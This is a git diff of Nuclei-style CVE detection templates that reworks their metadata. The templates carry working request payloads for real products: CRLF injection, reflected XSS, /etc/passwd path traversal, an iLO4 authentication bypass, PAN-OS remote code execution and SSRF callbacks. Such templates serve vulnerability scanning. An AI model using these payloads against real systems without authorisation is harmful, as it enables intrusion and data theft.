https://httpd.apache.org/security/vulnerabilities_22.html#CVE-2016-4975 - https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2016-4975 - - https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba@%3Ccvs.httpd.apache.org%3E - - https://lists.apache.org/thread.html/84a3714f0878781f6ed84473d1a503d2cc382277e100450209231830@%3Ccvs.httpd.apache.org%3E - - https://lists.apache.org/thread.html/8d63cb8e9100f28a99429b4328e4e7cebce861d5772ac9863ba2ae6f@%3Ccvs.httpd.apache.org%3E classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-4975 cwe-id: CWE-93 - epss-score: 0.00428 - epss-percentile: 0.71596 - cpe: cpe:2.3:a:apache:http_server:2.2.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: apache - product: http_server - tags: cve,cve2016,crlf,apache + tags: cve,cve2016,crlf,generic,apache -http: +requests: - method: GET path: - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection" - matchers: - type: regex part: header regex: - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)' -# digest: 490a00463044022034a3dcde6bd031555000bdea0cd519c6282cdbdadce15be848d764a3f1f7c33f02200e8efc60c86cade03fc0b8a2a46d45e56a25cf6ce8ab393efc10a561b1b74bf9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by cs on 2022/02/14 diff --git a/poc/cve/CVE-2016-8527.yaml b/poc/cve/CVE-2016-8527.yaml index 822674c9a4..53da722789 100644 --- a/poc/cve/CVE-2016-8527.yaml +++ b/poc/cve/CVE-2016-8527.yaml @@ -1,49 +1,34 @@ id: CVE-2016-8527 - info: - name: Aruba Airwave <8.2.3.1 - Cross-Site Scripting + name: Aruba Airwave - (XSS) author: pikpikcu severity: medium - description: Aruba Airwave before version 8.2.3.1 is vulnerable to reflected cross-site scripting. - remediation: | - Upgrade Aruba Airwave to version 8.2.3.1 or later to mitigate this vulnerability. + description: Aruba Airwave all versions up to, but not including, 8.2.3.1 is vulnerable to a reflected cross-site scripting (XSS). reference: - https://www.exploit-db.com/exploits/41482 + - https://nvd.nist.gov/vuln/detail/CVE-2016-8527 - http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-001.txt - https://www.exploit-db.com/exploits/41482/ - - https://nvd.nist.gov/vuln/detail/CVE-2016-8527 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-8527 cwe-id: CWE-79 - epss-score: 0.0024 - epss-percentile: 0.61862 - cpe: cpe:2.3:a:hp:airwave:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: hp - product: airwave - tags: cve2016,aruba,xss,edb,cve - -http: + tags: cve,cve2016,aruba,xss +requests: - method: GET path: - "{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match" - matchers-condition: and matchers: - type: word - part: body words: - "" - + part: body + - type: status + status: + - 200 - type: word part: header words: - text/html - - - type: status - status: - - 200 -# digest: 4a0a004730450220371cd232c3114cb98058776d2eedbb773686611afcd80b4c12847a8ea5d06e4502210083549c7db8e9afeb6f65dc22b4b108c0b6ade0016eebc7bf505f818084ea37ee:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-1000027.yaml b/poc/cve/CVE-2017-1000027.yaml index c79af4ec6e..3d1a6208c0 100644 --- a/poc/cve/CVE-2017-1000027.yaml +++ b/poc/cve/CVE-2017-1000027.yaml @@ -1,4 +1,5 @@ id: CVE-2017-1000027 + info: name: Koozali Foundation SME Server - Open redirect author: 0x_Akoko @@ -14,10 +15,13 @@ info: cvss-score: 6.10 cve-id: CVE-2017-1000027 cwe-id: CWE-601 + requests: - method: GET + path: - '{{BaseURL}}/server-common/cgi-bin/login?back=https%253a%252f%252fwww.example.com%252F' + matchers: - type: regex regex: diff --git a/poc/cve/CVE-2017-11610.yaml b/poc/cve/CVE-2017-11610.yaml index d6b1487240..a0550aed6a 100644 --- a/poc/cve/CVE-2017-11610.yaml +++ b/poc/cve/CVE-2017-11610.yaml @@ -1,34 +1,23 @@ id: CVE-2017-11610 - info: - name: XML-RPC Server - Remote Code Execution + name: Supervisor XMLRPC Exec author: notnotnotveg severity: high - description: The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups. - remediation: | - Apply the latest security patches or disable the XML-RPC server if not required. + description: The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups. reference: - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md - https://nvd.nist.gov/vuln/detail/CVE-2017-11610 - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JXGWOJNSWWK2TTWQJZJUP66FLFIWDMBQ/ - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DTPDZV4ZRICDYAYZVUHSYZAYDLRMG2IM/ - - http://www.debian.org/security/2017/dsa-3942 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2017-11610 cwe-id: CWE-276 - epss-score: 0.97445 - epss-percentile: 0.99943 - cpe: cpe:2.3:a:supervisord:supervisor:*:*:*:*:*:*:*:* metadata: - max-request: 1 - vendor: supervisord - product: supervisor shodan-query: http.title:"Supervisor Status" - tags: oast,xmlrpc,msf,cve,cve2017,rce,supervisor - -http: + tags: cve,cve2017,rce,supervisor,oast,xmlrpc +requests: - raw: - | POST /RPC2 HTTP/1.1 @@ -44,23 +33,19 @@ http: - matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - - type: word part: header words: - "text/xml" - - type: word part: body words: - "" - "" condition: and -# digest: 4b0a00483046022100861c1e370f751c76f728fe5ae60855a35fb65c0498a1f207500ac68383a0397e022100bec92936bcc4f1b19108245c5713aa88280d6a7e79159f2a75b1affdaa47cec5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-12542.yaml b/poc/cve/CVE-2017-12542.yaml index f47f845ac7..e6b40b0d91 100644 --- a/poc/cve/CVE-2017-12542.yaml +++ b/poc/cve/CVE-2017-12542.yaml @@ -1,52 +1,38 @@ id: CVE-2017-12542 info: - name: HPE Integrated Lights-out 4 (ILO4) <2.53 - Authentication Bypass + name: ILO4 Authentication bypass author: pikpikcu severity: critical - description: HPE Integrated Lights-out 4 (iLO 4) prior to 2.53 was found to contain an authentication bypass and code execution vulnerability. - remediation: | - Upgrade HPE Integrated Lights-out 4 (ILO4) to version 2.53 or later to mitigate this vulnerability. + description: A authentication bypass and execution of code vulnerability in HPE Integrated Lights-out 4 (iLO 4) version prior to 2.53 was found. reference: - - https://www.exploit-db.com/exploits/44005 - https://nvd.nist.gov/vuln/detail/CVE-2017-12542 - - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us - - https://www.exploit-db.com/exploits/44005/ - - http://www.securitytracker.com/id/1039222 + - https://www.exploit-db.com/exploits/44005 + tags: cve,cve2017,ilo4,hpe classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10 + cvss-score: 10.00 cve-id: CVE-2017-12542 - epss-score: 0.97377 - epss-percentile: 0.9989 - cpe: cpe:2.3:o:hp:integrated_lights-out_4_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: hp - product: integrated_lights-out_4_firmware - tags: ilo4,hpe,auth-bypass,edb,cve,cve2017 -http: +requests: - method: GET path: - "{{BaseURL}}/rest/v1/AccountService/Accounts" - headers: Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA matchers-condition: and matchers: - type: word - part: body words: - "iLO User" + part: body - type: word - part: header words: - "application/json" + part: header - type: status status: - 200 -# digest: 4a0a004730450220429a8b37441b3f7a31d7a70b3d8cf3816e65b09067b0c4f6b33346e41c0dae59022100f9f898aab40e31fb23cfc81fc3a7a1981385c4a1c3ed721f035c55fdf5bff51a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-12583.yaml b/poc/cve/CVE-2017-12583.yaml index 734d4b1459..f332b4aa54 100644 --- a/poc/cve/CVE-2017-12583.yaml +++ b/poc/cve/CVE-2017-12583.yaml @@ -1,33 +1,48 @@ id: CVE-2017-12583 + info: - name: Reflected XSS in doku.php + name: DokuWiki - Cross-Site Scripting author: DhiyaneshDK severity: medium - description: DokuWiki through 2017-02-19b has XSS in the at parameter (aka the DATE_AT variable) to doku.php. + description: DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + remediation: | + Upgrade to the latest version of DokuWiki or apply the provided patch to fix the XSS vulnerability. reference: - https://github.com/splitbrain/dokuwiki/issues/2061 + - https://nvd.nist.gov/vuln/detail/CVE-2017-12583 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-12583 cwe-id: CWE-79 + epss-score: 0.001 + epss-percentile: 0.41016 + cpe: cpe:2.3:a:dokuwiki:dokuwiki:*:*:*:*:*:*:*:* metadata: + max-request: 1 + vendor: dokuwiki + product: dokuwiki shodan-query: http.title:"DokuWiki" tags: cve,cve2017,xss,dokuwiki -requests: + +http: - method: GET path: - '{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=' + matchers-condition: and matchers: - type: word part: body words: - 'Unable to parse at parameter "".' + - type: word part: header words: - 'text/html' + - type: status status: - 200 +# digest: 4b0a00483046022100848eb2ba681ac426deb2c0d40152b0a0a5c7d3b104a95aeaab178ba3f8a7f813022100c99ab01a9215d1919995605113fc05e47a7295c2163fce0e664739b23d0e98df:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-12637.yaml b/poc/cve/CVE-2017-12637.yaml index ae01e87f9d..f86748181a 100644 --- a/poc/cve/CVE-2017-12637.yaml +++ b/poc/cve/CVE-2017-12637.yaml @@ -5,43 +5,31 @@ info: author: apt-mirror severity: high description: SAP NetWeaver Application Server Java 7.5 is susceptible to local file inclusion in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657. - remediation: | - Apply the latest security patches and updates provided by SAP to fix the LFI vulnerability in SAP NetWeaver Application Server Java 7.5. reference: - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf - - https://web.archive.org/web/20170807202056/http://www.sh0w.top/index.php/archives/7/ - - https://nvd.nist.gov/vuln/detail/CVE-2017-12637 - http://www.sh0w.top/index.php/archives/7/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-12637 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-12637 cwe-id: CWE-22 - epss-score: 0.00648 - epss-percentile: 0.7701 - cpe: cpe:2.3:a:sap:netweaver_application_server_java:7.50:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: sap - product: netweaver_application_server_java - shodan-query: http.favicon.hash:-266008933 tags: cve,cve2017,sap,lfi,java,traversal -http: +requests: - method: GET path: - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.." - matchers-condition: and matchers: + - type: status + status: + - 200 - type: word - part: body words: - "WEB-INF" - "META-INF" condition: and + part: body - - type: status - status: - - 200 -# digest: 4a0a0047304502202b50b8703beb835ca3f4b2b1fa5f83c93723b892042e8baa7229c43954c46007022100a58b3648b7e43fa4856a06e359d520e1ef0142baba48fc01ee1e25c9296de2b5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/06/09 diff --git a/poc/cve/CVE-2017-14537.yaml b/poc/cve/CVE-2017-14537.yaml index f4aa841f91..e8dcd9a258 100644 --- a/poc/cve/CVE-2017-14537.yaml +++ b/poc/cve/CVE-2017-14537.yaml @@ -1,32 +1,20 @@ id: CVE-2017-14537 - info: name: Trixbox 2.8.0 - Path Traversal author: pikpikcu severity: medium description: Trixbox 2.8.0.4 is susceptible to path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php. - remediation: | - Apply the latest security patches or upgrade to a newer version of Trixbox to mitigate this vulnerability. reference: - https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/ - https://nvd.nist.gov/vuln/detail/CVE-2017-14537 - https://sourceforge.net/projects/asteriskathome/ - - http://packetstormsecurity.com/files/162853/Trixbox-2.8.0.4-Path-Traversal.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2017-14537 cwe-id: CWE-22 - epss-score: 0.01002 - epss-percentile: 0.81934 - cpe: cpe:2.3:a:netfortris:trixbox:2.8.0.4:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: netfortris - product: trixbox - tags: cve,cve2017,trixbox,lfi,packetstorm - -http: + tags: cve,cve2017,trixbox,lfi +requests: - raw: - | POST /maint/index.php?packages HTTP/1.1 @@ -45,15 +33,14 @@ http: Referer: {{Hostname}}/maint/index.php?packages Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2 Authorization: Basic bWFpbnQ6cGFzc3dvcmQ= - matchers-condition: and matchers: + - type: status + status: + - 200 - type: regex - part: body regex: - "root:.*:0:0:" + part: body - - type: status - status: - - 200 -# digest: 4a0a00473045022022a6372aa2fc46566203a5ca835ac6782af746e47b3a779b56dd9207f1c69e73022100b067f2580fe173cce17873806bb8010114f4e2a8266fbb3ca911fd3629737a89:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/04/26 diff --git a/poc/cve/CVE-2017-15944.yaml b/poc/cve/CVE-2017-15944.yaml index 5f276b5ce9..f69b9b9ad5 100644 --- a/poc/cve/CVE-2017-15944.yaml +++ b/poc/cve/CVE-2017-15944.yaml @@ -1,46 +1,33 @@ id: CVE-2017-15944 - info: name: Palo Alto Network PAN-OS - Remote Code Execution author: emadshanab,milo2012 severity: critical description: Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface. - remediation: | - Apply the latest security patches and updates provided by Palo Alto Networks. reference: - https://www.exploit-db.com/exploits/43342 - https://security.paloaltonetworks.com/CVE-2017-15944 - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html - https://nvd.nist.gov/vuln/detail/CVE-2017-15944 - - http://www.securitytracker.com/id/1040007 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-15944 - epss-score: 0.97344 - epss-percentile: 0.99871 - cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: paloaltonetworks - product: pan-os - tags: kev,edb,cve,cve2017,rce,vpn,panos,globalprotect - -http: + tags: cve,cve2017,rce,vpn,panos,globalprotect +requests: - raw: - | GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1 Host: {{Hostname}} Cookie: PHPSESSID={{randstr}}; - matchers-condition: and matchers: - type: word part: body words: - "@start@Success@end@" - - type: status status: - 200 -# digest: 4a0a00473045022100e89db1ccfc85ce175e03a6e493147e60bd77f4c02339836e4c1a65c17800ede5022071057ee36f817d7de5ec8da10946ff99be8fccee48c3e4e8db0b1f378ad56735:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/04/26 diff --git a/poc/cve/CVE-2017-18598.yaml b/poc/cve/CVE-2017-18598.yaml index d030fe66cd..33011a8b45 100644 --- a/poc/cve/CVE-2017-18598.yaml +++ b/poc/cve/CVE-2017-18598.yaml @@ -1,34 +1,46 @@ -id: CVE-2017-18598 - -info: - name: Qards Plugin - Stored XSS and SSRF - author: pussycat0x - severity: medium - description: The Qards plugin through 2017-10-11 for WordPress has XSS via a remote document specified in the url parameter to html2canvasproxy.php - reference: - - https://wpscan.com/vulnerability/8934 - - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645 - - https://nvd.nist.gov/vuln/detail/CVE-2017-18598 - tags: cve,cve2017,wordpress,ssrf,xss,wp-plugin,oast - +id: CVE-2017-18598 + +info: + name: WordPress Qards - Cross-Site Scripting + author: pussycat0x + severity: medium + description: WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php. + remediation: | + Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability. + reference: + - https://wpscan.com/vulnerability/8934 + - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645 + - https://wpvulndb.com/vulnerabilities/8934 + - https://nvd.nist.gov/vuln/detail/CVE-2017-18598 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2017-18598 cwe-id: CWE-79 -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}' - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - - type: word - part: body - words: - - "console.log" \ No newline at end of file + epss-score: 0.00094 + epss-percentile: 0.39433 + cpe: cpe:2.3:a:designmodo:qards:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: designmodo + product: qards + framework: wordpress + tags: wp-plugin,oast,wpscan,cve,cve2017,wordpress,ssrf,xss + +http: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}' + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + + - type: word + part: body + words: + - "console.log" +# digest: 490a0046304402202c577368a4562bd64cd9828e90eab5d9d77a057422f5ba67bf76f4c148397537022050e8e2857bcff3281400e309945484e263f70ef7773f53586dfd7ad51f9b9f3d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-18638.yaml b/poc/cve/CVE-2017-18638.yaml index 4c5d6811d6..45175dca78 100644 --- a/poc/cve/CVE-2017-18638.yaml +++ b/poc/cve/CVE-2017-18638.yaml @@ -1,41 +1,26 @@ id: CVE-2017-18638 - info: - name: Graphite <=1.1.5 - Server-Side Request Forgery + name: Graphite 'graphite.composer.views.send_email' SSRF author: huowuzhao severity: high - description: | - Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to server-side request forgery (SSR)F. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. - remediation: | - Upgrade to a patched version of Graphite (>=1.1.6) or apply the necessary security patches. + description: Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. reference: - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html - https://github.com/graphite-project/graphite-web/issues/2008 - https://github.com/advisories/GHSA-vfj6-275q-4pvm - https://nvd.nist.gov/vuln/detail/CVE-2017-18638 - - https://github.com/graphite-project/graphite-web/pull/2499 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-18638 cwe-id: CWE-918 - epss-score: 0.00902 - epss-percentile: 0.80896 - cpe: cpe:2.3:a:graphite_project:graphite:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: graphite_project - product: graphite tags: cve,cve2017,graphite,ssrf,oast - -http: +requests: - method: GET path: - '{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}' - matchers: - type: word part: interactsh_protocol words: - "http" -# digest: 490a0046304402206f308e83c080967699c15aac29e5a2ed62ee1ec31e9bfa972b5e09a687fcf0cd0220146eb10bfa131c4aa64d3d07ddfb27efc0cdb1471ae2611afdd11aaf57a5dda0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-3528.yaml b/poc/cve/CVE-2017-3528.yaml index 6b985fcdae..1681ef3ca7 100644 --- a/poc/cve/CVE-2017-3528.yaml +++ b/poc/cve/CVE-2017-3528.yaml @@ -1,28 +1,40 @@ id: CVE-2017-3528 + info: name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect author: 0x_Akoko severity: medium description: 'The Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (lists of values, datepicker, etc.)) is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers with network access via HTTP to compromise Oracle Applications Framework. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Applications Framework accessible data.' + remediation: | + Apply the necessary patches or updates provided by Oracle to fix the open redirect vulnerability. reference: - https://blog.zsec.uk/cve-2017-3528/ - https://www.exploit-db.com/exploits/43592 - https://nvd.nist.gov/vuln/detail/CVE-2017-3528 - http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html + - http://www.securitytracker.com/id/1038299 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2017-3528 cwe-id: CWE-601 - tags: cve,cve2017,oracle,redirect -requests: + epss-score: 0.00865 + epss-percentile: 0.80439 + cpe: cpe:2.3:a:oracle:applications_framework:12.1.3:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: oracle + product: applications_framework + tags: oracle,redirect,edb,cve,cve2017 + +http: - method: GET path: - - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com" + - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cinteract.sh" + matchers: - type: word - words: - - 'noresize src="/\example.com?configName=' part: body - -# Enhanced by mp on 2022/04/14 + words: + - 'noresize src="/\interact.sh?configName=' +# digest: 4b0a004830460221008bf6cd9fdab2de27ac8173cdbe552438fff524c38a5695e4b08d93a0f7cd8900022100c6dd717f299ae64c7af43d4cec3bd3d389c98ca3ce188b670a4d93bbc179f052:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-5521.yaml b/poc/cve/CVE-2017-5521.yaml index 6c4e70b523..1ec3a1db53 100644 --- a/poc/cve/CVE-2017-5521.yaml +++ b/poc/cve/CVE-2017-5521.yaml @@ -6,31 +6,23 @@ info: severity: high description: | NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server. - remediation: | - Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability. reference: - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/ - http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability + - http://web.archive.org/web/20210123212905/https://www.securityfocus.com/bid/95457/ - https://nvd.nist.gov/vuln/detail/CVE-2017-5521 - - https://www.exploit-db.com/exploits/41205/ + - https://www.cvedetails.com/cve/CVE-2017-5521/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2017-5521 cwe-id: CWE-200 - epss-score: 0.97402 - epss-percentile: 0.99906 - cpe: cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: netgear - product: r6200_firmware - tags: cve,cve2017,auth-bypass,netgear,router,kev + tags: cve,cve2017,auth-bypass,netgear,router -http: +requests: - method: GET path: - - "{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}" + - "{{BaseURL}}/passwordrecovered.cgi?id=nuclei" matchers-condition: and matchers: @@ -45,4 +37,4 @@ http: status: - 200 -# digest: 490a0046304402200d97883d59665ec7e09f40a33f162e0b2e28ff8364049396cca461b1fe8cee07022052f03a0eb200bc31e62c40faa091730a01fc3093b2600357df52155a1cfa196a:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/06/19 diff --git a/poc/cve/CVE-2017-5631.yaml b/poc/cve/CVE-2017-5631.yaml index 96858abc89..39c6899af9 100644 --- a/poc/cve/CVE-2017-5631.yaml +++ b/poc/cve/CVE-2017-5631.yaml @@ -1,48 +1,34 @@ id: CVE-2017-5631 - info: - name: KMCIS CaseAware - Cross-Site Scripting + name: CaseAware - Cross Site Scripting author: edoardottt severity: medium - description: KMCIS CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string. - remediation: | - To remediate this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor. + description: An issue was discovered in KMCIS CaseAware. Reflected cross site scripting is present in the user parameter (i.e., "usr") that is transmitted in the login.php query string. reference: + - https://nvd.nist.gov/vuln/detail/CVE-2017-5631 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5631 - https://www.openbugbounty.org/incidents/228262/ - https://www.exploit-db.com/exploits/42042/ - - https://nvd.nist.gov/vuln/detail/CVE-2017-5631 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-5631 cwe-id: CWE-79 - epss-score: 0.00286 - epss-percentile: 0.65307 - cpe: cpe:2.3:a:kmc_information_systems:caseaware:-:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: kmc_information_systems - product: caseaware - tags: edb,cve,cve2017,xss,caseaware - -http: + tags: cve,cve2017,xss,caseaware +requests: - method: GET path: - "{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - matchers-condition: and matchers: - type: word part: body words: - "'>" - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4a0a0047304502207adca921e9e9d39999c61b491c7b05e46bdfdf5e116a7950f83ceadebb2efbd9022100d6e02b13d0633c905625f2bfb46b9d5a3f770f03941ac18208c79563c7a0a1e8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-5982.yaml b/poc/cve/CVE-2017-5982.yaml index 49d686a119..ada7f26299 100644 --- a/poc/cve/CVE-2017-5982.yaml +++ b/poc/cve/CVE-2017-5982.yaml @@ -1,27 +1,43 @@ id: CVE-2017-5982 + info: - name: Kodi 17.1 Local File Inclusion + name: Kodi 17.1 - Local File Inclusion author: 0x_Akoko severity: high - description: Insufficient validation of user input is performed on this URL resulting in a local file inclusion vulnerability. + description: | + Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input. + remediation: | + Upgrade Kodi to a version that is not affected by the CVE-2017-5982 vulnerability. reference: - https://cxsecurity.com/issue/WLB-2017020164 - - https://www.cvedetails.com/cve/CVE-2017-5982 + - https://www.exploit-db.com/exploits/41312/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-5982 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-5982 - cwe-id: CWE-98 - tags: cve,cve2017,kodi,lfi -requests: + cwe-id: CWE-22 + epss-score: 0.0488 + epss-percentile: 0.91916 + cpe: cpe:2.3:a:kodi:kodi:17.1:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: kodi + product: kodi + tags: cve2017,kodi,lfi,edb,cve + +http: - method: GET path: - "{{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd" + matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" + - type: status status: - 200 +# digest: 